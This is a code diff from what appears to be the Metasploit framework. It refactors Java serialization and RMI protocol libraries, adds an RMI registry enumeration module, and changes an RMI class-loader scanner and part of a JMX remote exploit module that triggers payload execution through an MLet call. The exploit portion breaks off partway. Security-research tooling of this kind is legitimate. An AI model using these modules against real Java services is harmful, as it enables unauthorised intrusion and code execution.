raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value.push('double', value = value_raw.unpack('G')[0])
when 'float'
value_raw = io.read(4)
unless value_raw && value_raw.length == 4
raise ::RuntimeError, 'Failed to deserialize NewArray value'
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value.push('float', value_raw.unpack('g')[0])
when 'int'
value_raw = io.read(4)
unless value_raw && value_raw.length == 4
raise ::RuntimeError, 'Failed to deserialize NewArray value'
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value.push('int', value_raw.unpack('l>')[0])
when 'long'
value_raw = io.read(8)
unless value_raw && value_raw.length == 8
raise ::RuntimeError, 'Failed to deserialize NewArray value'
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value.push('long', value_raw.unpack('q>')[0])
when 'short'
value_raw = io.read(2)
unless value_raw && value_raw.length == 2
raise ::RuntimeError, 'Failed to deserialize NewArray value'
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
end
value.push('short', value_raw.unpack('s>')[0])
when 'boolean'
value_raw = io.read(1)
raise ::RuntimeError, 'Failed to deserialize NewArray value' if value_raw.nil?
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil?
value.push('boolean', value_raw.unpack('c')[0])
else
raise ::RuntimeError, 'Unsupported NewArray type'
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray type'
end
value
@ -195,7 +197,7 @@ module Rex
#
# @param value [Array] the type and value to serialize
# @return [String] the serialized value
# @raise [RuntimeError] if serialization fails
# @raise [Rex::Java::Serialization::EncodeError] if serialization fails
def encode_value(value)
res = ''
@ -217,7 +219,7 @@ module Rex
when 'boolean'
res = [value[1]].pack('c')
else
raise ::RuntimeError, 'Unsupported NewArray type'
raise Rex::Java::Serialization::EncodeError, 'Unsupported NewArray type'
end
res

View File

@ -0,0 +1,109 @@
# -*- coding: binary -*-
module Rex
module Java
module Serialization
module Model
# This class provides a ProxyClassDesc representation
class ProxyClassDesc < Element
include Rex::Java::Serialization
# @!attribute interfaces
# @return [Array] An array of interface names
attr_accessor :interfaces
# @!attribute class_annotation
# @return [Rex::Java::Serialization::Model::Annotation] The java class annotations
attr_accessor :class_annotation
# @!attribute super_class
# @return [Rex::Java::Serialization::Model::ClassDesc] The java class superclass description
attr_accessor :super_class
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
def initialize(stream = nil)
super(stream)
self.interfaces = []
self.class_annotation = nil
self.super_class = nil
end
# Deserializes a Rex::Java::Serialization::Model::ProxyClassDesc
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
stream.add_reference(self) unless stream.nil?
interfaces_length = decode_interfaces_length(io)
interfaces_length.times do
interface = Utf.decode(io, stream)
self.interfaces << interface
end
self.class_annotation = Annotation.decode(io, stream)
self.super_class = ClassDesc.decode(io, stream)
self
end
# Serializes the Rex::Java::Serialization::Model::ProxyClassDesc
#
# @return [String] if serialization succeeds
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
unless class_annotation.class == Rex::Java::Serialization::Model::Annotation ||
super_class.class == Rex::Java::Serialization::Model::ClassDesc
raise Rex::Java::Serialization::EncodeError, 'Filed to serialize ProxyClassDesc'
end
encoded = ''
encoded << [interfaces.length].pack('N')
interfaces.each do |interface|
encoded << interface.encode
end
encoded << class_annotation.encode
encoded << super_class.encode
encoded
end
# Creates a print-friendly string representation
#
# @return [String]
def to_s
str = '[ '
interfaces_str = []
interfaces.each do |interface|
interfaces_str << interface.to_s
end
str << "#{interfaces_str.join(', ')} ]"
case super_class.description
when NewClassDesc
str << ", @super_class: #{super_class.description.class_name.to_s}"
when Reference
str << ", @super_class: #{super_class.description.to_s}"
end
str
end
private
# Deserializes the number of interface names
#
# @param io [IO] the io to read from
# @return [Fixnum] if deserialization is possible
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_interfaces_length(io)
fields_length = io.read(4)
if fields_length.nil? || fields_length.length != 4
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ProxyClassDesc'
end
fields_length.unpack('N')[0]
end
end
end
end
end
end

View File

@ -21,11 +21,11 @@ module Rex
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
handle_raw = io.read(4)
unless handle_raw && handle_raw.length == 4
raise ::RuntimeError, 'Failed to unserialize Reference'
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Reference'
end
self.handle = handle_raw.unpack('N')[0]
@ -36,10 +36,10 @@ module Rex
# Serializes the Rex::Java::Serialization::Model::Reference
#
# @return [String] if serialization succeeds
# @raise [RuntimeError] if serialization doesn't succeed
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
if handle < BASE_WIRE_HANDLE
raise ::RuntimeError, 'Failed to serialize Reference'
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Reference'
end
encoded = ''

View File

@ -34,7 +34,7 @@ module Rex
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
self.magic = decode_magic(io)
self.version = decode_version(io)
@ -50,7 +50,7 @@ module Rex
# Serializes the Rex::Java::Serialization::Model::Stream
#
# @return [String] if serialization succeeds
# @raise [RuntimeError] if serialization doesn't succeed
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
def encode
encoded = ''
encoded << [magic].pack('n')
@ -63,7 +63,7 @@ module Rex
# Adds an element to the references array
#
# @param io [Rex::Java::Serialization::Model::Element] the object to save as reference dst
# @param ref [Rex::Java::Serialization::Model::Element] the object to save as reference dst
def add_reference(ref)
self.references.push(ref)
end
@ -92,12 +92,12 @@ module Rex
#
# @param io [IO] the io to read from
# @return [String] if deserialization succeeds
# @raise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_magic(io)
magic = io.read(2)
unless magic && magic.length == 2 && magic.unpack('n')[0] == STREAM_MAGIC
raise ::RuntimeError, 'Failed to unserialize Stream'
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream'
end
STREAM_MAGIC
@ -107,11 +107,11 @@ module Rex
#
# @param io [IO] the io to read from
# @return [Fixnum] if deserialization succeeds
# @raise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode_version(io)
version = io.read(2)
unless version && version.unpack('n')[0] == STREAM_VERSION
raise ::RuntimeError, 'Failed to unserialize Stream'
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream'
end
STREAM_VERSION

View File

@ -26,11 +26,11 @@ module Rex
#
# @param io [IO] the io to read from
# @return [self] if deserialization succeeds
# @raise [RuntimeError] if deserialization doesn't succeed
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
def decode(io)
raw_length = io.read(2)
if raw_length.nil? || raw_length.length != 2
raise ::RuntimeError, 'Failed to unserialize Utf'
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf'
end
self.length = raw_length.unpack('n')[0]
@ -39,7 +39,7 @@ module Rex
else
self.contents = io.read(length)
if contents.nil? || contents.length != length
raise ::RuntimeError, 'Failed to unserialize Utf'
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf'
end
end

View File

@ -3,5 +3,7 @@
# JAVA RMI Wire protocol implementation
# http://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmi-protocol.html
require 'rex/proto/rmi/exception'
require 'rex/proto/rmi/decode_error'
require 'rex/proto/rmi/model'

View File

@ -0,0 +1,10 @@
# -*- coding: binary -*-
module Rex
module Proto
module Rmi
class DecodeError < ::RuntimeError
end
end
end
end

View File

@ -0,0 +1,10 @@
# -*- coding: binary -*-
module Rex
module Proto
module Rmi
class Exception < ::RuntimeError
end
end
end
end

View File

@ -15,6 +15,8 @@ module Rex
PROTOCOL_NOT_SUPPORTED = 0x4f
RETURN_DATA = 0x51
PING_ACK = 0x53
RETURN_VALUE = 1
RETURN_EXCEPTION = 2
end
end
end
@ -24,7 +26,10 @@ require 'rex/proto/rmi/model/element'
require 'rex/proto/rmi/model/output_header'
require 'rex/proto/rmi/model/protocol_ack'
require 'rex/proto/rmi/model/continuation'
require 'rex/proto/rmi/model/unique_identifier'
require 'rex/proto/rmi/model/call_data'
require 'rex/proto/rmi/model/call'
require 'rex/proto/rmi/model/return_value'
require 'rex/proto/rmi/model/return_data'
require 'rex/proto/rmi/model/dgc_ack'
require 'rex/proto/rmi/model/ping'

View File

@ -11,7 +11,7 @@ module Rex
# @return [Fixnum] the message id
attr_accessor :message_id
# @!attribute call_data
# @return [Rex::Java::Serialization::Model::Stream] the serialized call data
# @return [Rex::Proto::Rmi::Model::CallData] the call data
attr_accessor :call_data
private
@ -20,11 +20,11 @@ module Rex
#
# @param io [IO] the IO to read from
# @return [String]
# @raise [RuntimeError] if fails to decode the message id
# @raise [Rex::Proto::Rmi::DecodeError] if fails to decode the message id
def decode_message_id(io)
message_id = read_byte(io)
unless message_id == CALL_MESSAGE
raise ::RuntimeError, 'Failed to decode Call message id'
raise Rex::Proto::Rmi::DecodeError, 'Failed to decode Call message id'
end
message_id
@ -35,7 +35,7 @@ module Rex
# @param io [IO] the IO to read from
# @return [Rex::Java::Serialization::Model::Stream]
def decode_call_data(io)
call_data = Rex::Java::Serialization::Model::Stream.decode(io)
call_data = Rex::Proto::Rmi::Model::CallData.decode(io)
call_data
end

View File

@ -0,0 +1,137 @@
# -*- coding: binary -*-
module Rex
module Proto
module Rmi
module Model
# This class provides a representation of an RMI return value
class CallData < Element
# @!attribute object_number
# @return [Fixnum] Random to identify the object being called
attr_accessor :object_number
# @!attribute uid
# @return [Rex::Proto::Rmi::Model::UniqueIdentifier] unique identifier for the target to call
attr_accessor :uid
# @!attribute operation
# @return [Fixnum] On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2
# it is -1.
attr_accessor :operation
# @!attribute hash
# @return [Fixnum] On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash
# representing the method to call.
attr_accessor :hash
# @!attribute arguments
# @return [Array] the returned exception or value according to code
attr_accessor :arguments
# Encodes the Rex::Proto::Rmi::Model::CallData into an String.
#
# @return [String]
def encode
stream = Rex::Java::Serialization::Model::Stream.new
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, encode_object_number + encode_uid + encode_operation + encode_hash)
stream.contents << block_data
stream.contents += arguments
stream.encode
end
# Decodes the Rex::Proto::Rmi::Model::CallData from the input.
#
# @param io [IO] the IO to read from
# @return [Rex::Proto::Rmi::Model::CallData]
def decode(io)
stream = Rex::Java::Serialization::Model::Stream.decode(io)
block_data = stream.contents[0]
block_data_io = StringIO.new(block_data.contents, 'rb')
self.object_number = decode_object_number(block_data_io)
self.uid = decode_uid(block_data_io)
self.operation = decode_operation(block_data_io)
self.hash = decode_hash(block_data_io)
self.arguments = []
stream.contents[1..stream.contents.length - 1].each do |content|
self.arguments << content
end
self
end
private
# Reads the object number from the IO
#
# @param io [IO] the IO to read from
# @return [Fixnum]
def decode_object_number(io)
object_number = read_long(io)
object_number
end
# Reads and deserializes the uid from the IO
#
# @param io [IO] the IO to read from
# @return [Rex::Proto::Rmi::Model::UniqueIdentifier]
def decode_uid(io)
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io)
uid
end
# Reads the operation from the IO
#
# @param io [IO] the IO to read from
# @return [Fixnum]
def decode_operation(io)
operation = read_int(io)
operation
end
# Reads the hash from the IO
#
# @param io [IO] the IO to read from
# @return [Fixnum]
def decode_hash(io)
hash = read_long(io)
hash
end
# Encodes the code field
#
# @return [String]
def encode_object_number
[object_number].pack('q>')
end
# Encodes the uid field
#
# @return [String]
def encode_uid
uid.encode
end
# Encodes the operation field
#
# @return [String]
def encode_operation
[operation].pack('l>')
end
# Encodes the hash field
#
# @return [String]
def encode_hash
[hash].pack('q>')
end
end
end
end
end
end

View File

@ -22,11 +22,11 @@ module Rex
#
# @param io [IO] the IO to read from
# @return [String]
# @raise [RuntimeError] if fails to decode stream id
# @raise [Rex::Proto::Rmi::DecodeError] if fails to decode stream id
def decode_stream_id(io)
stream_id = read_byte(io)
unless stream_id == DGC_ACK_MESSAGE
raise ::RuntimeError, 'Failed to decode DgcAck stream id'
raise Rex::Proto::Rmi::DecodeError, 'Failed to decode DgcAck stream id'
end
stream_id

View File

@ -83,42 +83,57 @@ module Rex
#
# @param io [IO] the IO to read from
# @return [Fixnum]
# @raise [RuntimeError] if the byte can't be read from io
# @raise [Rex::Proto::Rmi::DecodeError] if the byte can't be read from io
def read_byte(io)
raw = io.read(1)
raise ::RuntimeError, 'Failed to read byte' unless raw
raise Rex::Proto::Rmi::DecodeError, 'Failed to read byte' unless raw
raw.unpack('C')[0]
raw.unpack('c')[0]
end
# Reads a two bytes short from an IO
#
# @param io [IO] the IO to read from
# @return [Fixnum]
# @raise [RuntimeError] if the short can't be read from io
# @raise [Rex::Proto::Rmi::DecodeError] if the short can't be read from io
def read_short(io)
raw = io.read(2)
unless raw && raw.length == 2
raise ::RuntimeError, 'Failed to read short'
raise Rex::Proto::Rmi::DecodeError, 'Failed to read short'
end
raw.unpack('n')[0]
raw.unpack('s>')[0]
end
# Reads a four bytes int from an IO
#
# @param io [IO] the IO to read from
# @return [Fixnum]
# @raise [RuntimeError] if the int can't be read from io
# @raise [Rex::Proto::Rmi::DecodeError] if the int can't be read from io
def read_int(io)
raw = io.read(4)
unless raw && raw.length == 4
raise ::RuntimeError, 'Failed to read short'
raise Rex::Proto::Rmi::DecodeError, 'Failed to read int'
end
raw.unpack('N')[0]
raw.unpack('l>')[0]
end
# Reads a 8 bytes long from an IO
#
# @param io [IO] the IO to read from
# @return [Fixnum]
# @raise [Rex::Proto::Rmi::DecodeError] if the long can't be read from io
def read_long(io)
raw = io.read(8)
unless raw && raw.length == 8
raise Rex::Proto::Rmi::DecodeError, 'Failed to read long'
end
raw.unpack('q>')[0]
end
# Reads an string from an IO
@ -126,12 +141,12 @@ module Rex
# @param io [IO] the IO to read from
# @param length [Fixnum] the string length
# @return [String]
# @raise [RuntimeError] if the string can't be read from io
# @raise [Rex::Proto::Rmi::DecodeError] if the string can't be read from io
def read_string(io, length)
raw = io.read(length)
unless raw && raw.length == length
raise ::RuntimeError, 'Failed to read string'
raise Rex::Proto::Rmi::DecodeError, 'Failed to read string'
end
raw

View File

@ -23,11 +23,11 @@ module Rex
#
# @param io [IO] the IO to read from
# @return [String]
# @raise [RuntimeError] if fails to decode signature
# @raise [Rex::Proto::Rmi::DecodeError] if fails to decode signature
def decode_signature(io)
signature = read_string(io, 4)
unless signature == SIGNATURE
raise ::RuntimeError, 'Failed to decode OutputHeader signature'
raise Rex::Proto::Rmi::DecodeError, 'Failed to decode OutputHeader signature'
end
signature
@ -47,13 +47,13 @@ module Rex
#
# @param io [IO] the IO to read from
# @return [Fixnum]
# @raise [RuntimeError] if fails to decode the protocol
# @raise [Rex::Proto::Rmi::DecodeError] if fails to decode the protocol
def decode_protocol(io)
valid_protocols = [STREAM_PROTOCOL, SINGLE_OP_PROTOCOL, MULTIPLEX_PROTOCOL]
protocol = read_byte(io)
unless valid_protocols.include?(protocol)
raise ::RuntimeError, 'Failed to decode OutputHeader protocol'
raise Rex::Proto::Rmi::DecodeError, 'Failed to decode OutputHeader protocol'
end
protocol

View File

@ -18,11 +18,11 @@ module Rex
#
# @param io [IO] the IO to read from
# @return [String]
# @raise [RuntimeError] if fails to decode stream id
# @raise [Rex::Proto::Rmi::DecodeError] if fails to decode stream id
def decode_stream_id(io)
stream_id = read_byte(io)
unless stream_id == PING_MESSAGE
raise ::RuntimeError, 'Failed to decode Ping stream id'
raise Rex::Proto::Rmi::DecodeError, 'Failed to decode Ping stream id'
end
stream_id

View File

@ -18,11 +18,11 @@ module Rex
#
# @param io [IO] the IO to read from
# @return [String]
# @raise [RuntimeError] if fails to decode stream id
# @raise [Rex::Proto::Rmi::DecodeError] if fails to decode stream id
def decode_stream_id(io)
stream_id = read_byte(io)
unless stream_id == PING_ACK
raise ::RuntimeError, 'Failed to decode PingAck stream id'
raise Rex::Proto::Rmi::DecodeError, 'Failed to decode PingAck stream id'
end
stream_id

View File

@ -26,11 +26,11 @@ module Rex
#
# @param io [IO] the IO to read from
# @return [String]
# @raise [RuntimeError] if fails to decode stream id
# @raise [Rex::Proto::Rmi::DecodeError] if fails to decode stream id
def decode_stream_id(io)
stream_id = read_byte(io)
unless stream_id == PROTOCOL_ACK
raise ::RuntimeError, 'Failed to decode ProtocolAck stream id'
raise Rex::Proto::Rmi::DecodeError, 'Failed to decode ProtocolAck stream id'
end
stream_id

View File

@ -11,7 +11,7 @@ module Rex
# @return [Fixnum] the stream id
attr_accessor :stream_id
# @!attribute return value
# @return [Rex::Java::Serialization::Model::Stream] the serialized return data
# @return [Rex::Proto::Rmi::Model::ReturnValue] the return value
attr_accessor :return_value
private
@ -20,11 +20,11 @@ module Rex
#
# @param io [IO] the IO to read from
# @return [String]
# @raise [RuntimeError] if fails to decode the stream id
# @raise [Rex::Proto::Rmi::DecodeError] if fails to decode the stream id
def decode_stream_id(io)
stream_id = read_byte(io)
unless stream_id == RETURN_DATA
raise ::RuntimeError, 'Failed to decode ReturnData stream id'
raise Rex::Proto::Rmi::DecodeError, 'Failed to decode ReturnData stream id'
end
stream_id
@ -33,9 +33,9 @@ module Rex
# Reads and deserializes the return value from the IO
#
# @param io [IO] the IO to read from
# @return [Rex::Java::Serialization::Model::Stream]
# @return [Rex::Proto::Rmi::Model::ReturnValue]
def decode_return_value(io)
return_value = Rex::Java::Serialization::Model::Stream.decode(io)
return_value = Rex::Proto::Rmi::Model::ReturnValue.decode(io)
return_value
end

View File

@ -0,0 +1,124 @@
# -*- coding: binary -*-
module Rex
module Proto
module Rmi
module Model
# This class provides a representation of an RMI return value
class ReturnValue < Element
# @!attribute code
# @return [Fixnum] the return code
attr_accessor :code
# @!attribute uid
# @return [Rex::Proto::Rmi::Model::UniqueIdentifier] unique identifier of the returned value
attr_accessor :uid
# @!attribute value
# @return [Array] the returned exception or value according to code
attr_accessor :value
# Encodes the Rex::Proto::Rmi::Model::ReturnValue into an String.
#
# @return [String]
def encode
stream = Rex::Java::Serialization::Model::Stream.new
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, encode_code + encode_uid)
stream.contents << block_data
value.each do |v|
stream.contents << v
end
stream.encode
end
# Decodes the Rex::Proto::Rmi::Model::ReturnValue from the input.
#
# @param io [IO] the IO to read from
# @return [Rex::Proto::Rmi::Model::ReturnValue]
def decode(io)
stream = Rex::Java::Serialization::Model::Stream.decode(io)
block_data = stream.contents[0]
block_data_io = StringIO.new(block_data.contents, 'rb')
self.code = decode_code(block_data_io)
self.uid = decode_uid(block_data_io)
self.value = []
stream.contents[1..stream.contents.length - 1].each do |content|
self.value << content
end
self
end
# Answers if the ReturnValue is an exception
#
# @return [Boolean]
def is_exception?
code == RETURN_EXCEPTION
end
# The object/exception class of the returned value
#
# @return [String, NilClass] the returned value class, nil it cannot be retrieved
def get_class_name
unless value[0] && value[0].is_a?(Rex::Java::Serialization::Model::NewObject)
return nil
end
case value[0].class_desc.description
when Rex::Java::Serialization::Model::NewClassDesc
return value[0].class_desc.description.class_name.contents
when Rex::Java::Serialization::Model::ProxyClassDesc
return value[0].class_desc.description.interfaces[0].contents
else
return nil
end
end
private
# Reads the return code from the IO
#
# @param io [IO] the IO to read from
# @return [String]
# @raise [Rex::Proto::Rmi::DecodeError] if fails to decode the return code
def decode_code(io)
code = read_byte(io)
unless code == RETURN_VALUE || code == RETURN_EXCEPTION
raise Rex::Proto::Rmi::DecodeError, 'Failed to decode the ReturnValue code'
end
code
end
# Reads and deserializes the uid from the IO
#
# @param io [IO] the IO to read from
# @return [Rex::Proto::Rmi::Model::UniqueIdentifier]
def decode_uid(io)
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io)
uid
end
# Encodes the code field
#
# @return [String]
def encode_code
[code].pack('c')
end
# Encodes the uid field
#
# @return [String]
def encode_uid
uid.encode
end
end
end
end
end
end

View File

@ -0,0 +1,77 @@
# -*- coding: binary -*-
module Rex
module Proto
module Rmi
module Model
# This class provides a representation of UniqueIdentifier as used in RMI calls
class UniqueIdentifier < Element
# @!attribute number
# @return [Fixnum] Identifies the VM where an object is generated
attr_accessor :number
# @!attribute time
# @return [Fixnum] Time where the object was generated
attr_accessor :time
# @!attribute count
# @return [Fixnum] Identifies different instance of the same object generated from the same VM
# at the same time
attr_accessor :count
private
# Reads the number from the IO
#
# @param io [IO] the IO to read from
# @return [Fixnum]
def decode_number(io)
number = read_int(io)
number
end
# Reads the time from the IO
#
# @param io [IO] the IO to read from
# @return [Fixnum]
def decode_time(io)
time = read_long(io)
time
end
# Reads the count from the IO
#
# @param io [IO] the IO to read from
# @return [Fixnum]
def decode_count(io)
count = read_short(io)
count
end
# Encodes the number field
#
# @return [String]
def encode_number
[number].pack('l>')
end
# Encodes the time field
#
# @return [String]
def encode_time
[time].pack('q>')
end
# Encodes the count field
#
# @return [String]
def encode_count
[count].pack('s>')
end
end
end
end
end
end

View File

@ -0,0 +1,92 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/java/serialization'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Java::Rmi::Client
def initialize
super(
'Name' => 'Java RMI Registry Interfaces Enumeration',
'Description' => %q{
This module gathers information from an RMI endpoint running an RMI registry
interface. It enumerates the names bound into a registry and lookups each
remote reference.
},
'Author' => ['juan vazquez'],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmiTOC.html']
]
)
register_options(
[
Opt::RPORT(1099)
], self.class)
end
def run
print_status("#{peer} - Sending RMI Header...")
connect
send_header
ack = recv_protocol_ack
if ack.nil?
print_error("#{peer} - Filed to negotiate RMI protocol")
disconnect
return
end
print_status("#{peer} - Listing names in the Registry...")
begin
names = send_registry_list
rescue ::Rex::Proto::Rmi::Exception => e
print_error("#{peer} - List raised exception #{e.message}")
return
end
if names.nil?
print_error("#{peer} - Failed to list names")
return
end
if names.empty?
print_error("#{peer} - Names not found in the Registry")
return
end
print_good("#{peer} - #{names.length} names found in the Registry")
names.each do |name|
begin
remote_reference = send_registry_lookup(name: name)
rescue ::Rex::Proto::Rmi::Exception => e
print_error("#{peer} - Lookup of #{name} raised exception #{e.message}")
next
end
if remote_reference.nil?
print_error("#{peer} - Failed to lookup #{name}")
next
end
print_good("#{peer} - Name #{name} (#{remote_reference[:object]}) found on #{remote_reference[:address]}:#{remote_reference[:port]}")
report_service(
:host => remote_reference[:address],
:port => remote_reference[:port],
:name => 'java-rmi',
:info => "Name: #{name}, Stub: #{remote_reference[:object]}"
)
end
end
end

View File

@ -51,16 +51,42 @@ class Metasploit3 < Msf::Auxiliary
jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar'
jar_url = "file:RMIClassLoaderSecurityTest/" + jar
send_call(call_data: build_gc_call_data(jar_url))
return_data = recv_return
dgc_interface_hash = calculate_interface_hash(
[
{
name: 'clean',
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V',
exceptions: ['java.rmi.RemoteException']
},
{
name: 'dirty',
descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;',
exceptions: ['java.rmi.RemoteException']
}
]
)
if return_data.nil?
# JDK 1.1 stub protocol
# Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)
# Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
send_call(
object_number: 2,
uid_number: 0,
uid_time: 0,
uid_count: 0,
operation: 0,
hash: dgc_interface_hash,
arguments: build_dgc_clean_args(jar_url)
)
return_value = recv_return
if return_value.nil?
print_error("#{peer} - Failed to send RMI Call, anyway JAVA RMI Endpoint detected")
report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "")
return
end
if loader_enabled?(return_data)
if return_value.is_exception? && loader_enabled?(return_value.value)
print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled")
svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled")
report_vuln(
@ -76,13 +102,13 @@ class Metasploit3 < Msf::Auxiliary
end
end
def loader_enabled?(stream)
stream.contents.each do |content|
if content.class == Rex::Java::Serialization::Model::NewObject &&
content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
content.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
!content.class_data[1].contents.include?('RMI class loader disabled')
def loader_enabled?(exception_stack)
exception_stack.each do |exception|
if exception.class == Rex::Java::Serialization::Model::NewObject &&
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
exception.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
!exception.class_data[1].contents.include?('RMI class loader disabled')
return true
end
end
@ -90,14 +116,10 @@ class Metasploit3 < Msf::Auxiliary
false
end
def build_gc_call_data(jar_url)
stream = Rex::Java::Serialization::Model::Stream.new
block_data = Rex::Java::Serialization::Model::BlockData.new
block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43"
block_data.length = block_data.contents.length
stream.contents << block_data
# class: sun.rmi.trasnport.DGC
# method: public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean)
def build_dgc_clean_args(jar_url)
arguments = []
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
new_array_annotation.contents = [
@ -124,8 +146,11 @@ class Metasploit3 < Msf::Auxiliary
new_array.values = []
new_array.array_description = array_desc
stream.contents << new_array
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
# ObjID[] paramArrayOfObjID
arguments << new_array
# long paramLong
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
@ -145,11 +170,13 @@ class Metasploit3 < Msf::Auxiliary
new_object.class_desc.description = new_class_desc
new_object.class_data = []
stream.contents << new_object
# VMID paramVMID
arguments << new_object
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
# boolean paramBoolean
arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
stream
arguments
end
end

View File

@ -8,7 +8,6 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Java::Jmx
include Msf::Exploit::Remote::HttpServer
include Msf::Java::Rmi::Client
@ -52,7 +51,9 @@ class Metasploit3 < Msf::Exploit::Remote
))
register_options([
Opt::RPORT(1617)
Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),
Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])
], self.class)
end
@ -127,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
end
print_status("#{peer} - Discoverig the JMXRMI endpoint...")
print_status("#{peer} - Discovering the JMXRMI endpoint...")
mbean_server = discover_endpoint
disconnect
if mbean_server.nil?
@ -155,13 +156,14 @@ class Metasploit3 < Msf::Exploit::Remote
end
print_status("#{peer} - Executing payload...")
invoke_run_stream = invoke_stream(
obj_id: jmx_endpoint[:id].chop,
send_jmx_invoke(
object_number: jmx_endpoint[:object_number],
uid_number: jmx_endpoint[:uid].number,
uid_time: jmx_endpoint[:uid].time,
uid_count: jmx_endpoint[:uid].count,
object: "#{@mlet}:name=jmxpayload,id=1",
method: 'run'
)
send_call(call_data: invoke_run_stream)
disconnect
end
@ -176,94 +178,67 @@ class Metasploit3 < Msf::Exploit::Remote
end
def discover_endpoint
send_call(call_data: discovery_stream)
return_data = recv_return
ref = send_registry_lookup(name: datastore['JMXRMI'])
return nil if ref.nil?
if return_data.nil?
vprint_error("#{peer} - Discovery request didn't answer")
unless ref[:object] == 'javax.management.remote.rmi.RMIServerImpl_Stub'
vprint_error("#{peer} - JMXRMI discovery returned unexpected object #{ref[:object]}")
return nil
end
answer = extract_object(return_data, 1)
if answer.nil?
vprint_error("#{peer} - Unexpected JMXRMI discovery answer")
return nil
end
case answer
when 'javax.management.remote.rmi.RMIServerImpl_Stub'
mbean_server = extract_unicast_ref(StringIO.new(return_data.contents[2].contents))
else
vprint_error("#{peer} - JMXRMI discovery returned unexpected object #{answer}")
return nil
end
mbean_server
ref
end
def handshake(mbean)
vprint_status("#{peer} - Sending handshake / authentication...")
begin
opts = {
object_number: mbean[:object_number],
uid_number: mbean[:uid].number,
